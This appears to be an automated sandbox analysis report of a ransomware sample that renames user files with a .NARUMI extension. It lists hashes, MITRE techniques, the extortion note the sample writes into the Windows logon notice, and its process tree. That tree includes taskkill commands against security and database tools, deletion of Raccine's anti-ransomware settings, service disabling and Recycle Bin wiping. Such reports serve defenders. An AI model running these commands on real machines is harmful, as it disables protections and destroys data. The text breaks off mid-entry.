d063eec4ec30ecc633469e28b06bf8288a9107cd9f16ea97720877a6f761e248

Analysis

max time kernel
153s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
30/11/2022, 15:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
48A1E96CC6C26CBC38679C0AE565448B.exe
Size 136KB
Sample221130-snjd8abd83
SHA256 d063eec4ec30ecc633469e28b06bf8288a9107cd9f16ea97720877a6f761e248
MD5 48a1e96cc6c26cbc38679c0ae565448b
SHA1 eb7fad3c85075ddf05b36dc06431634f23ba7c33
SHA512 5db41ed26d236bc72c895ed45d9c168d215a945a585930054130780e94eddd9d3fbe82c3ee4ed9b505496b1d26c1a3e2d837769f795b6748ba462c7176f4db23
SSDEEP 3072:UodqfyQjljJ8lSAWnQQbF8Q/dC7xtr5l:UodqfpjtGwAWQQbnCp
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

persistence ransomware

Malware Config

Signatures

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\GroupUnprotect.tiff.NARUMI	48A1E96CC6C26CBC38679C0AE565448B.exe
File opened for modification	C:\Users\Admin\Pictures\SplitGet.tiff	48A1E96CC6C26CBC38679C0AE565448B.exe
File renamed	C:\Users\Admin\Pictures\SplitGet.tiff => C:\Users\Admin\Pictures\SplitGet.tiff.NARUMI	48A1E96CC6C26CBC38679C0AE565448B.exe
File opened for modification	C:\Users\Admin\Pictures\SplitGet.tiff.NARUMI	48A1E96CC6C26CBC38679C0AE565448B.exe
File opened for modification	C:\Users\Admin\Pictures\GroupUnprotect.tiff	48A1E96CC6C26CBC38679C0AE565448B.exe
File renamed	C:\Users\Admin\Pictures\GroupUnprotect.tiff => C:\Users\Admin\Pictures\GroupUnprotect.tiff.NARUMI	48A1E96CC6C26CBC38679C0AE565448B.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	48A1E96CC6C26CBC38679C0AE565448B.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reload1.lnk	48A1E96CC6C26CBC38679C0AE565448B.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your network was ATTACKED, your computers and servers were LOCKED,\r\nYour private data was DOWNLOADED:\r\n - Contracts\r\n - Customers data\r\n - Finance\r\n - HR\r\n - Databases\r\n - And more other...\r\n\r\nIf you do not contact us in the next 3 DAYS we will begin DATA publication.\r\nWe will post information about hacking of your company on our twitter https://twitter.com/RobinHoodLeaks or https://parler.com/user/RobinHoodLeaks\r\n\r\nYou can find full details in the file RESTORE_FILES_INFO"	48A1E96CC6C26CBC38679C0AE565448B.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY IS HACKED AND COMPROMISED"	48A1E96CC6C26CBC38679C0AE565448B.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3544	sc.exe
4452	sc.exe
4568	sc.exe
3628	sc.exe
2800	sc.exe
400	sc.exe
4808	sc.exe
2472	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

pid	Process
1000	taskkill.exe
2460	taskkill.exe
4124	taskkill.exe
2220	taskkill.exe
4048	taskkill.exe
2168	taskkill.exe
364	taskkill.exe
3392	taskkill.exe
4648	taskkill.exe
4076	taskkill.exe
4216	taskkill.exe
644	taskkill.exe
4192	taskkill.exe
520	taskkill.exe
2392	taskkill.exe
4772	taskkill.exe
4144	taskkill.exe
1672	taskkill.exe
3452	taskkill.exe
1984	taskkill.exe
2192	taskkill.exe
4824	taskkill.exe
3088	taskkill.exe
2916	taskkill.exe
3192	taskkill.exe
484	taskkill.exe
1404	taskkill.exe
1172	taskkill.exe
4704	taskkill.exe
2808	taskkill.exe
2936	taskkill.exe
560	taskkill.exe
3076	taskkill.exe
4220	taskkill.exe
384	taskkill.exe
3800	taskkill.exe
3636	taskkill.exe
3404	taskkill.exe
4000	taskkill.exe
1652	taskkill.exe
4672	taskkill.exe
2956	taskkill.exe
604	taskkill.exe
5068	taskkill.exe
2872	taskkill.exe
2300	taskkill.exe
4308	taskkill.exe
4764	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1852	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4108	notepad.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4112	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe
3096	48A1E96CC6C26CBC38679C0AE565448B.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	3096	48A1E96CC6C26CBC38679C0AE565448B.exe
Token: SeDebugPrivilege	3452	taskkill.exe
Token: SeDebugPrivilege	3392	taskkill.exe
Token: SeDebugPrivilege	3192	taskkill.exe
Token: SeDebugPrivilege	2808	taskkill.exe
Token: SeDebugPrivilege	1000	taskkill.exe
Token: SeDebugPrivilege	4764	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	2192	taskkill.exe
Token: SeDebugPrivilege	484	taskkill.exe
Token: SeDebugPrivilege	2460	taskkill.exe
Token: SeDebugPrivilege	4824	taskkill.exe
Token: SeDebugPrivilege	1404	taskkill.exe
Token: SeDebugPrivilege	2872	taskkill.exe
Token: SeDebugPrivilege	4192	taskkill.exe
Token: SeDebugPrivilege	4124	taskkill.exe
Token: SeDebugPrivilege	3404	taskkill.exe
Token: SeDebugPrivilege	3088	taskkill.exe
Token: SeDebugPrivilege	4000	taskkill.exe
Token: SeDebugPrivilege	2936	taskkill.exe
Token: SeDebugPrivilege	644	taskkill.exe
Token: SeDebugPrivilege	1652	taskkill.exe
Token: SeDebugPrivilege	560	taskkill.exe
Token: SeDebugPrivilege	2220	taskkill.exe
Token: SeDebugPrivilege	4648	taskkill.exe
Token: SeDebugPrivilege	4672	taskkill.exe
Token: SeDebugPrivilege	3076	taskkill.exe
Token: SeDebugPrivilege	4048	taskkill.exe
Token: SeDebugPrivilege	2300	taskkill.exe
Token: SeDebugPrivilege	520	taskkill.exe
Token: SeDebugPrivilege	1172	taskkill.exe
Token: SeDebugPrivilege	4216	taskkill.exe
Token: SeDebugPrivilege	2392	taskkill.exe
Token: SeDebugPrivilege	4220	taskkill.exe
Token: SeDebugPrivilege	4308	taskkill.exe
Token: SeDebugPrivilege	384	taskkill.exe
Token: SeDebugPrivilege	2168	taskkill.exe
Token: SeDebugPrivilege	4772	taskkill.exe
Token: SeDebugPrivilege	3800	taskkill.exe
Token: SeDebugPrivilege	2916	taskkill.exe
Token: SeDebugPrivilege	604	taskkill.exe
Token: SeDebugPrivilege	2956	taskkill.exe
Token: SeDebugPrivilege	364	taskkill.exe
Token: SeDebugPrivilege	3636	taskkill.exe
Token: SeDebugPrivilege	4144	taskkill.exe
Token: SeDebugPrivilege	5068	taskkill.exe
Token: SeDebugPrivilege	1672	taskkill.exe
Token: SeDebugPrivilege	4704	taskkill.exe
Token: SeDebugPrivilege	4708	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3096	48A1E96CC6C26CBC38679C0AE565448B.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3096	48A1E96CC6C26CBC38679C0AE565448B.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 3452	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	83
PID 3096 wrote to memory of 3452	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	83
PID 3096 wrote to memory of 3452	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	83
PID 3096 wrote to memory of 1008	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	85
PID 3096 wrote to memory of 1008	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	85
PID 3096 wrote to memory of 1008	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	85
PID 3096 wrote to memory of 1852	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	87
PID 3096 wrote to memory of 1852	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	87
PID 3096 wrote to memory of 1852	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	87
PID 3096 wrote to memory of 5064	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	89
PID 3096 wrote to memory of 5064	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	89
PID 3096 wrote to memory of 5064	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	89
PID 3096 wrote to memory of 2800	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	91
PID 3096 wrote to memory of 2800	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	91
PID 3096 wrote to memory of 2800	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	91
PID 3096 wrote to memory of 400	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	92
PID 3096 wrote to memory of 400	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	92
PID 3096 wrote to memory of 400	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	92
PID 3096 wrote to memory of 4808	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	94
PID 3096 wrote to memory of 4808	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	94
PID 3096 wrote to memory of 4808	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	94
PID 3096 wrote to memory of 2472	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	97
PID 3096 wrote to memory of 2472	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	97
PID 3096 wrote to memory of 2472	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	97
PID 3096 wrote to memory of 3544	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	99
PID 3096 wrote to memory of 3544	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	99
PID 3096 wrote to memory of 3544	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	99
PID 3096 wrote to memory of 4452	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	100
PID 3096 wrote to memory of 4452	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	100
PID 3096 wrote to memory of 4452	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	100
PID 3096 wrote to memory of 1320	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	103
PID 3096 wrote to memory of 1320	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	103
PID 3096 wrote to memory of 1320	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	103
PID 3096 wrote to memory of 4568	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	105
PID 3096 wrote to memory of 4568	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	105
PID 3096 wrote to memory of 4568	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	105
PID 3096 wrote to memory of 3628	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	106
PID 3096 wrote to memory of 3628	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	106
PID 3096 wrote to memory of 3628	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	106
PID 3096 wrote to memory of 3392	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	109
PID 3096 wrote to memory of 3392	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	109
PID 3096 wrote to memory of 3392	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	109
PID 3096 wrote to memory of 3192	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	111
PID 3096 wrote to memory of 3192	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	111
PID 3096 wrote to memory of 3192	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	111
PID 3096 wrote to memory of 2808	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	114
PID 3096 wrote to memory of 2808	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	114
PID 3096 wrote to memory of 2808	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	114
PID 3096 wrote to memory of 1000	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	115
PID 3096 wrote to memory of 1000	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	115
PID 3096 wrote to memory of 1000	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	115
PID 3096 wrote to memory of 4764	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	119
PID 3096 wrote to memory of 4764	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	119
PID 3096 wrote to memory of 4764	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	119
PID 3096 wrote to memory of 1984	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	118
PID 3096 wrote to memory of 1984	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	118
PID 3096 wrote to memory of 1984	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	118
PID 3096 wrote to memory of 2192	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	121
PID 3096 wrote to memory of 2192	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	121
PID 3096 wrote to memory of 2192	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	121
PID 3096 wrote to memory of 484	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	123
PID 3096 wrote to memory of 484	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	123
PID 3096 wrote to memory of 484	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	123
PID 3096 wrote to memory of 2460	3096	48A1E96CC6C26CBC38679C0AE565448B.exe	124

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY IS HACKED AND COMPROMISED"	48A1E96CC6C26CBC38679C0AE565448B.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "Your network was ATTACKED, your computers and servers were LOCKED,\r\nYour private data was DOWNLOADED:\r\n - Contracts\r\n - Customers data\r\n - Finance\r\n - HR\r\n - Databases\r\n - And more other...\r\n\r\nIf you do not contact us in the next 3 DAYS we will begin DATA publication.\r\nWe will post information about hacking of your company on our twitter https://twitter.com/RobinHoodLeaks or https://parler.com/user/RobinHoodLeaks\r\n\r\nYou can find full details in the file RESTORE_FILES_INFO"	48A1E96CC6C26CBC38679C0AE565448B.exe

C:\Users\Admin\AppData\Local\Temp\48A1E96CC6C26CBC38679C0AE565448B.exe
"C:\Users\Admin\AppData\Local\Temp\48A1E96CC6C26CBC38679C0AE565448B.exe"
1⤵
- Modifies extensions of user files
- Checks computer location settings
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3096
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3452
- C:\Windows\SysWOW64\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:1008
- C:\Windows\SysWOW64\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:1852
- C:\Windows\SysWOW64\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:5064
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  - Launches sc.exe
  PID:2800
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:400
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  - Launches sc.exe
  PID:4808
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  - Launches sc.exe
  PID:2472
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:3544
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4452
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:1320
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  - Launches sc.exe
  PID:4568
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:3628
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3192
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2808
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1000
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1984
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4764
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:484
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4824
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1404
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3404
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4192
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4124
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3088
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:644
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1652
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:560
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3076
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4048
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:520
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:4076
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1172
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4216
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4220
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:384
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2916
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3800
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:604
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:364
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3636
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4144
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\SysWOW64\taskkill.exe
